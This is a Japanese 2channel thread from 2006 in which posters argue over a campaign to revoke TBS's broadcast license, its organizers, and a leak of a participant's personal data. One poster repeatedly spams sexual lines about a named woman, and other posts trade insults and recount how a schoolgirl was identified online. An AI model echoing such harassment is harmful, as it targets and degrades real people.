相変わらずの燃料投下
長期戦なるだろうからゆっくりいけや
正直剥奪出来なくても　ネットでしかわかってない
オフ運営者の異常さが知れ渡るだけでもいいぞ
過去やったことも日本人はすぐ忘れて好意的に見るからな
信用がなくなるどころか不信感持って見られるイラネとKN
何言ってもウソに聞こえてくるだろうな
笑いがとまらんわ
0165エージェント・７７４2006/08/30(水) 15:53:59ID:uzmcjp/E
>>163
そのまんまKNのことだな。
0166エージェント・７７４2006/08/30(水) 15:58:22ID:AaxyNbNv
「右も左もあるものか！」
安倍問題を前面に出してTBSを叩いている限り、
左が積極的に協力するわけもなし。

どうせ叩くなら　創　価　学　会　にすれば、
名実的に右も左も賛同したかもしれんのに・・・
0167エージェント・７７４2006/08/30(水) 16:02:35ID:O9y0pkhx
一般向けサイト急いでくれ
正直ここは他人にすすめられんｗ
判断するのは個人やからね
ＴＢＳの不祥事を改めて知ると
ドン引きやで

0168エージェント・７７４2006/08/30(水) 16:06:02ID:Vv323HBp
さおりとデートしたい
0169エージェント・７７４2006/08/30(水) 16:08:54ID:Vv323HBp
さおりとハメハメしたい
さおりとハメハメしたい
さおりとハメハメしたい
さおりとハメハメしたい
さおりとハメハメしたい
さおりとハメハメしたい
さおりとハメハメしたい
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0170エージェント・７７４2006/08/30(水) 16:10:11ID:a1eX9fHj
このスレの運動の本当の意図はすべてのメディアに対する言論弾圧だ。
TBS騒動をカモフラージュで使っているが、実は総務省と自民党を経由したメディアへの言論弾圧だ。
そのような言論弾圧は早くやめて頂きたい。
0171エージェント・７７４2006/08/30(水) 16:27:49ID:2eGZWQNb
日本は法治国家です
法を犯す犯罪者集団を野放しには出来ません
個人の好みで法を曲げれば社会が混乱するだけです
言論の弾圧とはＴＢＳがやっている法を法とも思わず
自社の特定の思想だけを放送する行為こそがそれに当たるのではないでしょうか？
多数の言論を社内で弾圧することこそが最も恐ろしい
言論弾圧なのです
もし言論弾圧でなく政府介入を危惧してるのなら
あなたにはＴＢＳに自らの放送免許返上を求める活動をおすすめします
0172エージェント・７７４2006/08/30(水) 16:32:09ID:yWU+80Yr
右も左も関係あるかと

言いながら、右団体と手を結んでいた嘘つき集団のお前ら

とっとと、解散しろバーカ
0173エージェント・７７４2006/08/30(水) 16:35:43ID:0em5NgID
実質的にイラネに私物化された活動だし、言論弾圧も日常茶飯事。
0174エージェント・７７４2006/08/30(水) 16:39:15ID:2eGZWQNb
>>172
右も左もあるものか→思想に関わらずＴＢＳ免許剥奪に賛同する方は誰でも来てください
>>173
あなたもここに書き込めるのに言論弾圧？

毎日程度の低い書き込みご苦労様ですｗ
0175エージェント・７７４2006/08/30(水) 16:42:02ID:Vv323HBp
さおりとハメハメしたい
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0176エージェント・７７４2006/08/30(水) 16:42:09ID:VA0hr7lk
>>174のカキコは程度たけーな
イラネ追及の個人的な一つの指針にするよ
0177エージェント・７７４2006/08/30(水) 16:42:09ID:0em5NgID
>>174
上質な切り返しありがとうございます。
イラネさんによろしくお伝えください。
0178エージェント・７７４2006/08/30(水) 16:43:30ID:aLfZ9t7u
>>174
低レベル工作員をボコボコに論破してやったねｗ
やりましたな
0179エージェント・７７４2006/08/30(水) 16:43:33ID:fA4tpULj
>>171
TBSに対する懲罰に異論は無い。
だがいろいろなメディアがいろいろな思想を論じることは良いことだ。
TBS、朝日、フジテレビ、産経新聞、それぞれがいろいろな思想の番組を作っている。
私は産経新聞を取っていたが、元軍人の面白いインタビューも載っていたりで非常に面白かった。
朝日新聞、読売新聞、それぞれも思想の違う面白い記事がたくさんある。

このスレの住民は特定の思想を元にメディアを攻撃している。
さらにTBSを攻撃することでいずれは全てのメディアを弱体化させようという狙いも見え隠れしている。
早くやめてください。
0180エージェント・７７４2006/08/30(水) 16:45:19ID:2eGZWQNb
>>176>>177>>178
毎日ご苦労さま～ｗ
0181エージェント・７７４2006/08/30(水) 16:45:50ID:rH2LoTPx
>>180のレベルの高さに嫉妬
0182エージェント・７７４2006/08/30(水) 16:48:34ID:XakMb34a

あ～！早く夏休み終らねえかな！！！
0183エージェント・７７４2006/08/30(水) 16:49:42ID:rH2LoTPx
>>182
お前は毎日が夏休みだろ
0184エージェント・７７４2006/08/30(水) 16:49:51ID:0em5NgID
>>180
ありがとうございます。これからも頑張りますね。
0185エージェント・７７４2006/08/30(水) 16:50:04ID:HJslF+OA
左も右もないなら
右側の人間ばかり告知するのはやめて
左側の人間にも告知した方がいいね。
誰かプロ市民にこの運動お誘いしてこいよｗ
0186エージェント・７７４2006/08/30(水) 16:53:01ID:rH2LoTPx
>>185
無理無理、安倍擁護の立場から提起された運動なんて、最初から右しか向いてないだろ。
層化叩きならまだ可能性はあったか？
とレスがあったが主催者から腐臭がするのでこれまた却下ｗ
0187エージェント・７７４2006/08/30(水) 16:55:23ID:2eGZWQNb
>>184
がんばってねｗ
0188エージェント・７７４2006/08/30(水) 17:01:51ID:dAKNTyUE
この運動はほぼ実現不可能な目標を打ち立てた時点で間違ってたよ。
TBSの不誠実な報道への抗議行動が、放送免許剥奪という発想はあまりに突飛過ぎる。
踏むべき過程をみんなすっ飛ばして、実質「TBSを潰せ！」とのたまっているのだからw

この運動でTBSにダメージを与えることはほぼ不可能だろうし、それがわかってるからTBS嫌いの
ねらーにも「自分たちの代弁者」とは思われずに、おかしい人たち扱いで突っ込まれる。
TBSへの抗議のためにはこのオフが絶対必要なものだと思っている人がここには多いようだが、
ここ以外でそんな意見を見つけるのは難しい。別にここがなくなっても大勢に影響は無い。
主張が過激すぎて一般人から見向きもされないからね。過激派扱い。

むしろこんなに不祥事だらけのオフ、TBSにとって利するだけ。
主催者には誠意のカケラも感じられないし、それを誰も止められないなんて異常だからね。
0189エージェント・７７４2006/08/30(水) 17:01:53ID:0em5NgID
とりあえず特定の思想を持つ個人や団体に乗っ取られないために、街宣で
イラネやＫＮが署名者の総意のように個人的な見解を垂れ流せない厳格
なＬＲの整備が必要だと思いますが、良い案はないですかね？
0190エージェント・７７４2006/08/30(水) 17:04:26ID:+U9cQOun
天下のTBSに歯向かうあんたらが愚かだったんだよ。

これに懲りて二度と馬鹿な真似はやめるべきだね。
0191エージェント・７７４2006/08/30(水) 17:04:49ID:Dca6vhR3
これだけ後味が悪くて不信感ありありのオフも久し振りだな。
0192エージェント・７７４2006/08/30(水) 17:08:48ID:DHpEcBvs
過去ログスレ１９（未成年議論があったスレ）の流れを見たけど
たしかに「金正日の指令ですか？」みたいなレスはあるけど、スレの流れを見ると
その名無しのレスを持ってして「運営側が注意してた人たちを
すべて工作員認定してたぞ！」と決め付けるのは言い過ぎでしょｗ
0193エージェント・７７４2006/08/30(水) 17:16:08ID:qyqGBfuI
右も左も関係ないといいながら主張がプロ右翼じゃぁな。
もっと簡潔にしろよ。
0194エージェント・７７４2006/08/30(水) 17:16:39ID:0em5NgID
>>192
イラネもＫＮも未成年の参加は問題ないと明言して、疑問視する声に全く
取り合わなかった流れの事ですか？
0195エージェント・７７４2006/08/30(水) 17:16:59ID:VR6qL35D
とりあえず疫病神はこのスレに

封印しておいて、おおもとの運動に

災いが降り掛からない事を切に願う

みんな気張ってくれ
0196エージェント・７７４2006/08/30(水) 17:18:05ID:n+W0KjuO
するどい意見ｗ

734 名前：エージェント・７７４[sage] 投稿日：2006/08/16(水) 17:11:46 ID:QGut75U9
どうせ責任をとるとか言っても、実際に未成年者にトラブルが起きたら
「責任を痛感します」で済まそうとすんだろ。
悪いこと言わんから中高生は参加させんなよ
0197エージェント・７７４2006/08/30(水) 17:19:31ID:+U9cQOun
こういう運動する人って建前を見せておいて本当は
自分が目立ちたいだけの自己顕示欲の強い人でしょ。

そういうのが一番寒いよ。募金なんて本当はどうでもよくて、自分が目立てれば
それでいいんでしょ。
0198エージェント・７７４2006/08/30(水) 17:19:37ID:WCrB2v1c
右も左も関係ないさ、
　右も左も逝ってよし！！
0199エージェント・７７４2006/08/30(水) 17:19:58ID:DHpEcBvs
>>194
「反対派はすべて工作員」って流れではないね
0200エージェント・７７４2006/08/30(水) 17:21:02ID:HJslF+OA
揚げ足取ったり、屁理屈捏ねたり忙しいなｗ
0201エージェント・７７４2006/08/30(水) 17:22:37ID:n+W0KjuO
ID:DHpEcBvsは重要な話をしていると思う。
要はイラネ達コテは工作員認定なんてしてないよ！って言いたいんだろ。
0202エージェント・７７４2006/08/30(水) 17:28:43ID:djadCy+V
サオリいまなにしてんの？
0203エージェント・７７４2006/08/30(水) 17:33:43ID:qyqGBfuI
疑問派も反対派にしてしまうのか。
0204エージェント・７７４2006/08/30(水) 17:33:45ID:0em5NgID
>>199
そこの流れはそうだったね。リアルタイムで見てたから。

ところで、何で急にそこだけクローズアップ？

>>201
イラネが得意げに貼った若鹿コピペは壮大なレッテル貼りだったね。
0205エージェント・７７４2006/08/30(水) 17:40:33ID:dAKNTyUE
>>192
そうやって茶化すだけで、未成年の参加と危険性に対してほとんど参加者たちは気にも留めて
なかったよね。そういう意見はまるで取り合わずに平気な顔で未成年を参加させていた。
そのくせ、いざ未成年の個人情報が暴かれた後で参加者たちが怒り狂ったところで、いまさら
手遅れもいいところ。

>>201
なんでもかんでも工作員認定するようなおかしなスレの流れを、疑問に思わないことがどれだけ
異常なのかわからなくなってしまったのが、オフスレの人たちの悲劇ではあるかな。
0206エージェント・７７４2006/08/30(水) 17:44:31ID:Vv323HBp
さおり付き合ってくれ結婚したい
0207エージェント・７７４2006/08/30(水) 17:44:33ID:DHpEcBvs
>>204
前のスレでこういうレスがあったから見てみた

964 名前：エージェント・７７４[sage] 投稿日：2006/08/30(水) 01:43:00 ID:Y4XL4wll
>>959
いやいや、未成年者はやめたほうがいいっていう指摘に対して
「未成年者云々いってきてるのは妨害工作員だ」とのレッテル張りでしたわ。
0208エージェント・７７４2006/08/30(水) 17:50:09ID:fS+RabQR
>>205
そうだね。
TBSは殺人に間接的に関与してるし、
個人情報を転載しまくる人たちもいるわけだから
未成年は実務はしないべきだよね。
0209エージェント・７７４2006/08/30(水) 17:51:34ID:SycjsKaw
人権法東京OFFスレは未成年問題をことさらに取り上げ
親からの一筆だのそれこそ個人情報を要求させろとか
混乱させた人たちがいたからねー
混乱しちゃったOFF側もOFF側だがｗ

あの顛末を知ってるものとしては「妨害じゃない」というのはﾆﾔﾆﾔもんですね

結論としては未成年参加は全然問題ないし
晒されたくなかったら自衛しろって感じか
0210エージェント・７７４2006/08/30(水) 17:52:27ID:0em5NgID
>>207
そういう流れか。全く見えんかったよ。
それに対する反論なら君が正しい。

イラネとＫＮが先々の影響を考慮せずに無責任な発言したのは間違いない
けどな。
0211エージェント・７７４2006/08/30(水) 17:52:44ID:dAKNTyUE
>>208
そう、それが「わかって」いるんだったら何故参加させた？って話。
0212エージェント・７７４2006/08/30(水) 17:52:57ID:Hhh+Em8F
工作員扱いつうか、質問しただけで
「あなたは、ずっとスレに張り付いてるくせに何で、そんなこと聞くの。
おもしろい人ですねｗ」と言われて、「はあ？このスレの住人って（ｒｙ」
と思ったｗ
スレに張り付いてるとか）何で決め付けたりするのかね？

それに「ｲﾗﾈ氏はなんでみんなの質問に答えないの？」
の質問に
「池沼の質問には答える必要はない。」とのレス。
これはN速＋のスレの話だけど、こういうレスをした人が、ここのスレの人だとしたら
一般人は取り込めないと思うよ。
その後、ｲﾗﾈ氏は質問に答えてくれたけど。
ｲﾗﾈ氏さんくすでしたｗ
0213エージェント・７７４2006/08/30(水) 17:56:27ID:DHpEcBvs
>>210
工作員認定と未成年議論がごっちゃになってるよねｗ
未成年問題については疑問派というかやるならしっかりやってくれよ派
と、コテの議論がちゃんと行われてたわけだし、今度やる時は
もう少しつめたほうがいいとは思ったよ
0214エージェント・７７４2006/08/30(水) 18:00:49ID:Vv323HBp
未成年の話題だろうが難だろうが、
いつでも永遠と工作員とピットクルーのコピペ貼りまくってるんだから、どっちでも一緒なんだよ。
議論になんてなってない。
0215エージェント・７７４2006/08/30(水) 18:04:47ID:l+QHEHY7
>>209
0216エージェント・７７４2006/08/30(水) 18:06:09ID:SDLrbWRX
これ、未成年かどうかの問題じゃないでしょ
彼女が21歳であったとしても同じだよ
0217エージェント・７７４2006/08/30(水) 18:08:25ID:0em5NgID
>>212
要約すると、レッテル貼りする名無しは一杯居るけどイラネさんは誠実で
素敵な人だってことかな？

せっかくなので、もう少し彼を擁護していってあげて下さいね。
0218エージェント・７７４2006/08/30(水) 18:10:40ID:Cgj5XWzi


若鹿コピペに激しく反応するのってどんな人たちなの？

0219エージェント・７７４2006/08/30(水) 18:14:47ID:r2+DJ1mm
ＴＢＳは即刻国民に捏造放送したことを謝罪し放送免許を返上するべき
国民の財産である放送であることを自覚せず
今尚事実を隠し自己の思想で公平な立場を忘れ
毒電波を垂れ流しつけ
利益追求の為に放送を私物化する
ＴＢＳは存在自体が危険な放送局
一刻も早くＴＢＳの放送が止むことを切望する
0220エージェント・７７４2006/08/30(水) 18:17:18ID:4pji+5KH
こいつらネウヨのイメージ下げようと必死なんだろ
0221エージェント・７７４2006/08/30(水) 18:17:43ID:dAKNTyUE
>>218
あぁ、だから駄目なんだよ。ここのスレの人間は。
そんな風にすぐ工作員の存在や陰謀に結びつける。おかしいよ。

若鹿っていうのがどんなに問題なのか、まっとうに反論すればいいだけの話じゃん。
正道に帰れ。
0222エージェント・７７４2006/08/30(水) 18:17:45ID:q6560lZK
ウヨウヨしてる
0223エージェント・７７４2006/08/30(水) 18:19:00ID:0em5NgID
電車からアクセスしてる人が居るのかなぁ
0224エージェント・７７４2006/08/30(水) 18:19:35ID:Cgj5XWzi
>>221
心当たりがなきゃ反応しなければいいのに、浅いなあ
0225エージェント・７７４2006/08/30(水) 18:20:25ID:DHpEcBvs
>>221
工作の手口の紹介はあっていいでしょ
それをもってして疑問派を工作員認定ではないよ
0226エージェント・７７４2006/08/30(水) 18:20:38ID:3d6HPHfG
>>221
あなたもここのスレの人間だよｗ
0227エージェント・７７４2006/08/30(水) 18:22:38ID:dAKNTyUE
>>224
正直、若鹿がどうのってコピペは読んでなかったので、よければ説明してくれないか。
0228エージェント・７７４2006/08/30(水) 18:24:16ID:EAqpEGSa
通帳ってうｐされたのか？
0229エージェント・７７４2006/08/30(水) 18:28:11ID:r4UxPb8h
批判派が擁護の振りして
批判派を徹底的に叩く

叩かれた人達がここにきて踊る→祭り化。

というのが俺の予想。
ピックルがいるとしたら
最初に悪意ある言葉とともにここのアドレスをν速に貼った奴だろう。
それを見てくるν速民を叩けば簡単に祭りにできる。

KN氏やイラネ氏
何のメリットがあってこの運動やってるか考えればすぐわかる。
カンパ詐欺？自腹の方が多い人達だぞ
お金儲けのためだとは俺には思えない。

職業右翼だったら別だけどなｗｗ
0230エージェント・７７４2006/08/30(水) 18:28:56ID:Hhh+Em8F
書き忘れたけど個人情報について・・
個人情報云々のことは、想定の範囲内では？だからと言ってスネークが悪くない。
と言ってるわけではないよ。
（色んな情報をつなぎ合わせて個人を特定しようとするネラーはたくさんいるからね。
２ちゃんは、そういう所ですｗ
そのぐらいの覚悟が無いのなら２ちゃんでするべきではない。

VIPのスレに数回、カキコ込んだだけで特定された中学生もいる。
その子がスレに書き込んだことから分かる個人情報は○○市在住の
女子学生ということだけ。
頭がいい子だから、多分あそこの学校の生徒だろう、と推測したネラーが
お受験板の学校ｽレを掘り起こして本人を特定。
その件が原因で、その学校では、
お受験板にはスレを立てるな。書き込むな。
というのが、暗黙の了解になってる。

ブログを公開するのも２ちゃんで書き込むにしても、すべて自己責任だと思うよ。
特に、２ちゃんがらみだと（ｒｙ

0231エージェント・７７４2006/08/30(水) 18:30:33ID:0em5NgID
>>227
一度、ここにコピペしてもらって読んでみるといいよ。問題ないって主張
する人に解説もしてもらったらいい。
0232エージェント・７７４2006/08/30(水) 18:34:18ID:HGlhWufI
>>228
次は通帳うｐしてもいいかもだって

次があると思ってるよ　発作じゃ爆笑じゃー
0233エージェント・７７４2006/08/30(水) 18:36:00ID:Hhh+Em8F
>>217
見落としていた。ゴメス。
自分は、どんなに、その運動の目的がすばらしいものであっても
そのやり方を少しでも間違うと、すべてが台無しになってしまう。
とスレに書き込んできたよ。
ｲﾗﾈ氏に関しては、ｱﾚだけど、取り合えずは自分の質問に答えてくれたから
（公開質問状は出す気は無いの？）お礼を言ったまでです。
0234エージェント・７７４2006/08/30(水) 18:42:51ID:0em5NgID
>>233
質問を出来るだけまとめる努力はスレ上でされてるけどスルーされている
のが現状だね。
0235エージェント・７７４2006/08/30(水) 18:44:19ID:tW3ATH0c
ビラを見たり街頭演説を聞いてこのスレに来た初心者は不快に思うだろうね。
工作員や池沼扱いされたら署名もしてもらえないよ。
0236エージェント・７７４2006/08/30(水) 18:57:23ID:gEMxRstT
そこまでここ見に来た人間はバカじゃない
しばらくROMってれば
あまりの粘着さに異常な人がいるって気づくｗ
産経のあのスレなんて非常に役に立った
なんてこいつらこんなに個人攻撃やＴＢＳ庇ってるのってねｗ
0237エージェント・７７４2006/08/30(水) 18:57:40ID:0em5NgID
署名前ならまだ救いがあるかな。
0238エージェント・７７４2006/08/30(水) 18:58:08ID:HGlhWufI
>>236
ナイスジョークｗｗｗ
0239エージェント・７７４2006/08/30(水) 19:01:22ID:Vqo3Cso4
個人情報流失するまえに
署名を取り消したいんですが？
できますか？？
0240エージェント・７７４2006/08/30(水) 19:03:57ID:dAKNTyUE
>>235
自分たちがどれほど異常な感覚でいるか自覚が無いんだよな。
スレの外の空気とのズレがわかってない。

>>236
批判者はすべてTBS擁護ですか？
あなたの仰る通りですと、産経のスレがこのオフに否定的なレスがとても多かったことについては
ν速＋は工作員でいっぱいだったからなのでしょうか？w
0241エージェント・７７４2006/08/30(水) 19:04:02ID:48A9l1zy
>>239
手数料払えば出来るらしいよ
0242エージェント・７７４2006/08/30(水) 19:07:33ID:DHpEcBvs
>>240
すべてなんて言ってないじゃん
1か0で考えすぎ　
0243エージェント・７７４2006/08/30(水) 19:07:55ID:JdUZTJkU
>>240
> 産経のスレがこのオフに否定的なレスがとても多かったことについては
N+は否定的なレスはとても少なかったよ特に初期のスレはｗ
0244エージェント・７７４2006/08/30(水) 19:09:16ID:3d6HPHfG
>>240
>批判者はすべてTBS擁護ですか？
？
0245エージェント・７７４2006/08/30(水) 19:10:31ID:cmR7HtvO
>>220
＞こいつらネウヨのイメージ下げようと必死なんだろ

右も左も無いじゃねえのかよ。
結局、右はマンセー、左は潰せがこのスレの正体なのか？
0246エージェント・７７４2006/08/30(水) 19:11:32ID:IwlTZ5Nh
左は別に構わないけど、とても左にカテゴリーしないような
醜い人たちが多いだけ。
0247エージェント・７７４2006/08/30(水) 19:13:55ID:OwxkfehQ
>>245
ネウヨとか自称する人聞いたことないｗｗｗ
面白いですね
0248エージェント・７７４2006/08/30(水) 19:15:43ID:3d6HPHfG
ネットウヨク
↓
ネットウヨ
↓
ネウヨ
↓
ネヨ
↓
ネ
0249エージェント・７７４2006/08/30(水) 19:15:45ID:Vv323HBp
自称しなくても見た人にはそう思われる
0250エージェント・７７４2006/08/30(水) 19:19:21ID:ssMcS5i2
デモにガチ右翼なんかが出てきた時点で終わり
0251エージェント・７７４2006/08/30(水) 19:24:46ID:/WVaCgn9
>>250
勧誘したり騒いだり
何か問題起こしましたか？

差別主義者のかたですか？
0252エージェント・７７４2006/08/30(水) 19:26:31ID:fS+RabQR
俺が思ったこと

ネット上では実態がある方が弱い事の方が多い。
2ちゃんにはモラルのない書き込みをする人がいる。
馬鹿にするために書き込むひとがいる。
アシェールは探りを入れたらどんどん悪事が露呈してきた。
それで味をしめた人もいるかもしれない。

考えは人それぞれ。
いろいろな意見があってどれを選ぶか。二極論ではない。
意見をすべて聞いてたら上手くいかないのはわかる。
多い意見が総意とかすべてとか言わないように。

工作員はいるだろう。
だけど名無しである以上、相手はグレーだ。
OFFに賛成の人は煽りやレッテル貼りは荒れるだけだと気づいた方が良い。
0253エージェント・７７４2006/08/30(水) 19:28:01ID:j6VvP4CD
>>241
手数料１０００円だっけ
0254播州赤穂47士 ◆1GFDZ1iNhA 2006/08/30(水) 19:28:50ID:3+8vzUQo
ネットウヨク
↓
ネットウヨ
↓
ネウヨ
↓
ネヨ
↓
ネ
↓
(越えられない壁)
↓
ネ申

0255エージェント・７７４2006/08/30(水) 19:30:55ID:i2MJuUoF
しかしこの粘着は本当に気持ち悪いな。

で、活動はこれで終わったの？
無視して続ければ？
0256エージェント・７７４2006/08/30(水) 19:36:46ID:HJslF+OA
真剣にこの運動続けたいならここでやらずに違うところでやればいいと思うよ？
0257播州赤穂47士 ◆1GFDZ1iNhA 2006/08/30(水) 19:38:46ID:3+8vzUQo
：名無しさん＠６周年：2005/12/09(金) 18:11:14 ID:gCvlpJVM0
>370
>イラネさんの戦術の方が　より効果的だし、その方法に　播州赤穂氏は社会的正義を付加してるのでは？
>多くの市民の賛同を得るためには、播州赤穂氏のカキコのように、不買抗議は　正当な抗議と大衆から認めてもらうしかない。
>そうなって始めて、反対派の不買抗議は大衆から支持してもらえる。

若鹿さんも　片山知事の東芝不買を例えにして、条例反対のため鳥取県産の不買抗議は正当性があると書かれてた
あれは播州赤穂さんだったかな?
不買抗議するには　それなりの理由がなければならないから、若鹿さんも播州赤穂さんも
不買抗議に正義の看板を貼り付けようとしてたのではないのかな?

ようするに　[正義は我れにあり] 　この言葉を主張する側が　どちら側にあるのか?　ということですね。

大衆が正しいと認めたら　不買抗議は正当化し　それは大衆運動に発展する。
そのような世論にならないと　鳥取県産の不買抗議は、世間から受け入れてもらえない。
大衆正義が認知されれば　鳥取不買抗議は正統な社会運動となる。

だからイラネさんの鳥取不買について、播州赤穂さんがフォローするように 鳥取不買の正当性
つまり　[正義は我が方にあり]　を主張されるようなカキコを繰り返されていたのではと思っています。
0258エージェント・７７４2006/08/30(水) 19:40:23ID:gEMxRstT
>>240
( ´,_ゝ`)　ﾌﾟ　批判者なんて言葉使ってもないが？
否定的な意見をどう解釈し理解するかは読むものが判断する
それを異常と感じ不信と思ったっていうことだｗ
レッテル貼りしてる印象を与えるような分と読解力のなさは
驚嘆するよｗ
0259播州赤穂47士 ◆1GFDZ1iNhA 2006/08/30(水) 19:44:07ID:3+8vzUQo
379 ：人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc ：2005/12/09(金) 18:18:15 ID:8+nMO5pm0
がんばりますか！

380 ：人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc ：2005/12/09(金) 18:31:18 ID:8+nMO5pm0
俺の中の頭のイメージでは
・人権条例反対ステッカー（まだ作ってない）がたくさんの車に貼られるようになる
・人権条例の周知が進んで（街宣・折込）内心だけでいいので多くの人に反対してもらう
・不買圧力で各業界から音を上げる→議員がまいったなとなる
・自民党本部から鳥取自民党に「是非すら検討中の人権法を差し置いて法律の枠を超えた条例を作るな」と圧力
・地元マスコミには定期的にネタを提供
・地元弁護士会は正論を言い続けてもらうようお願い

鳥取の人の手を煩わせずに、やはり名無しパワーを最大限生かせるようにしよう 　
おいらは不買ページをもう少し充実させてみます

具体的方策には播州士とか若鹿氏にお願いしよう

384 ：名無しさん＠６周年：2005/12/09(金) 18:46:18 ID:gCvlpJVM0
>379
>がんばりますか！

若鹿さんが以前　すべてのネットレジスタンスへと称するカキコされてました。
レジスタンスに徹すれば良いと思いますが、その際 　どんなにレジスタンス的な草の根抵抗運動としても
それは[大衆正義]　つまり[錦の御旗]が　我が方にあればいいんです。
まずは　そこからスタートと思います。

385 ：名無しさん＠６周年：2005/12/09(金) 18:54:12 ID:gCvlpJVM0
イラネさんの行動力と若鹿さんの情報収集と播州赤穂さんのあのカキコがあれば
上手くかみ合えば鳥取県条例廃止のネットレジスタンス抵抗運動は 　[大衆正義は我にあり]　となると思います。
ＲＯＭされてる２ちゃねらーさんたちも　鳥取不買抗議に充分協力してもらえると確信します。

-------------

ｲﾗﾈ氏の若鹿氏へ想いを書いたレス　　もっとあるけど？

0260エージェント・７７４2006/08/30(水) 19:44:21ID:vOjU8/5a
>>258
ナイスジョークｗｗｗ
0261エージェント・７７４2006/08/30(水) 19:52:41ID:IwlTZ5Nh
まあ、キチガイのいうことに真剣に悩んでいる時点で、２ちゃんねるで活動は向かないよ。

全部ネタにして笑い飛ばすくらいの意気込みでやってこそ、２ちゃんねるらしいオフになる。
0262エージェント・７７４2006/08/30(水) 19:53:51ID:j6VvP4CD
個人情報の手数料も結構高いな
相場はどうか知らんが
0263エージェント・７７４2006/08/30(水) 19:54:13ID:IwlTZ5Nh
とりあえず、参加したことを問題にしている対象者は、
右翼団体の人なのか、保守系市民団体の人なのか。
そしてどちらかにカテゴライズするなら、その根拠まで明確にしてから
レッテル貼りをしましょう。
0264エージェント・７７４2006/08/30(水) 19:57:23ID:6EOEQYan
現状残ってるコテと離脱したコテを誰かまとめてくれよ。

76 ：人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc ：2006/08/30(水) 04:10:07 ID:E0jKIEt7

より主催者側のコテが1人も出てこない状況でレッテル貼りあっても仕方がない。
コテが出てこないということは逃亡したという判断でいいのか？
0265エージェント・７７４2006/08/30(水) 19:58:52ID:l8BZoO3W
>>263
お前が明確にしろよ
0266エージェント・７７４2006/08/30(水) 20:00:16ID:HJslF+OA
>>264
コテを逃亡者扱いですかｗ
ここの運営さんは。
0267エージェント・７７４2006/08/30(水) 20:02:22ID:1aQj91el
>>266
おまえフォローできないほどバカだぞｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
バカは引っ込んでろｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
0268エージェント・７７４2006/08/30(水) 20:03:36ID:HJslF+OA
>>267
とりあえずお前はなんか草いぞ。
0269エージェント・７７４2006/08/30(水) 20:03:54ID:3d6HPHfG
>>264
そのコピペはどこから？
0270エージェント・７７４2006/08/30(水) 20:06:21ID:1aQj91el
>>268
いいから引っ込んどけｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
バカは揚げ足とられれんだよｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
揚げ足しかもうこいつらとれねぇんだから　引っ込めｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
0271エージェント・７７４2006/08/30(水) 20:06:34ID:wDNtp34v
でかい事や難しいことはできねーから案だけ書いてみるか

【ビラの再考】
・署名欄はなくす（９月で締めるってことだし、主催者も降りそうだから）
・放送免許剥奪の一文はなくす（実現性がないから）
・偏向云々はなくす（偏るのはマスコミ全てに言えることだから）
・「捏造した事実」を徹底周知（事実だから）
・TBSにリーチが掛かっていることも掲載（これも事実ね）
・朝鮮やオウムとの関係はおまけ程度に記載（これも事実だから）
・問題発生時は署名活動に発展することを示唆

【公式サイト立ち上げ】
・一般向けで２ｃｈ色が薄い（無いほうがいい）もの
・ビラの内容を詳しく紹介
・携帯サイトなんてあってもいいかな
・サイトのURLはビラに記載
・配布用ビラPDF記載
・質問はメールにて（逐次Q&Aにて返答）
・署名活動に発展することを示唆
・TBSや総務省へのクレーム窓口一覧を掲載
・FLASHなんかあればいい（金がかかるならパス）

せっかく良識者が大勢いるんだから議論や煮詰めは２ｃｈでやって
まとまったら２ｃｈから出るべきだね

まあ、あくまでも案だからねｗ
0272エージェント・７７４2006/08/30(水) 20:08:51ID:6EOEQYan
>>269
このスレの>>76より　ｺﾞﾒﾝ　今見直したら>>85でｲﾗﾈが書き込んでいた。
0273エージェント・７７４2006/08/30(水) 20:09:00ID:HJslF+OA
>>270
あーわかったわかった。
とりあえず草生やすならVIPでやってくれ。
0274エージェント・７７４2006/08/30(水) 20:10:25ID:r4UxPb8h
>>76って筑紫の事かｗ
0275エージェント・７７４2006/08/30(水) 20:10:52ID:R68eeP4c
署名終ってオフの企画がないようならこの板は出ていくべきだね
趣旨に合うようなどこか他の板、なければ難民あたりで活動をどうやっていくか話し合った方がいいと思う
個人的には監視サイトの立ち上げと周知用の面白フラッシュは実現して欲しい
0276エージェント・７７４2006/08/30(水) 20:11:46ID:vOjU8/5a
>>275
VIPでやればよくね？
0277エージェント・７７４2006/08/30(水) 20:12:05ID:1aQj91el
>>273
何言ってんだこのバカｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
おまえに言われる筋合いはねぇｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
途中で来てでかい顔して大物のつもりかよｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
0278エージェント・７７４2006/08/30(水) 20:12:12ID:wDNtp34v
>>275
OFFではなくなるから俺も同意
0279エージェント・７７４2006/08/30(水) 20:13:26ID:3d6HPHfG
>>272
コピペ？
0280エージェント・７７４2006/08/30(水) 20:22:30ID:w34Vixho
いよいよ活動も終わりか。
0281エージェント・７７４2006/08/30(水) 20:28:07ID:yWU+80Yr
オレはオレ個人で回りの人に人権擁護法の危なさを伝えて長期的に地味な
活動をしてるが
グレーなknとイラネのやる反対運動とは、絶対関わりをもちたくない
解散してくれよ
0282エージェント・７７４2006/08/30(水) 20:30:36ID:1aQj91el
ｖ速くんなよｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
0283エージェント・７７４2006/08/30(水) 20:31:29ID:eXIQGiSE
>>275
ミクシでやれば？
0284エージェント・７７４2006/08/30(水) 20:33:23ID:B409E0LQ
mixiを今以上に馬鹿の受け皿にするのはﾔﾒﾚ
0285サラたん ◆SALA/cCkcU 2006/08/30(水) 20:36:22ID:PDAMjzFK
>>276
VIPではまったく相手にされてない。
コイツら、何度もこのスレの出張スレをVIPに立てたけど、
100レスもつかずに数時間後には落ちていた。
